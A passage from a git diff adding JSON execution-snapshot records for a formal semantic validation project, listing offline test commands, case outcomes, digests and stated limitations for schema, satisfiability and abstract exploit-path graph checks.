"docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "99f7667388056bd8b98bb553f270a6f954882f4b", + "source_state": { + "base_revision": "99f7667388056bd8b98bb553f270a6f954882f4b", + "checkout_state": "modified", + "implementation_digest": "2ad3010ff26ef5d14e206cc2b51573a17e684cd7fef661e062b0a9690da080fa", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v49.json b/docs/research/formal-semantic-validation/execution-snapshot-v49.json new file mode 100644 index 000000000..0551af795 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v49.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1360-execution-v48", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v48.json", + "release_revision": "49.0.0", + "release_sha256": "06e20bb5d0ec83c2dbee7b52aead1fe07195b36b66ea33ea03c6504f47ab006a" + }, + "captured_at": "2026-09-25T02:34:46.514076+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1360-execution-v49", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": 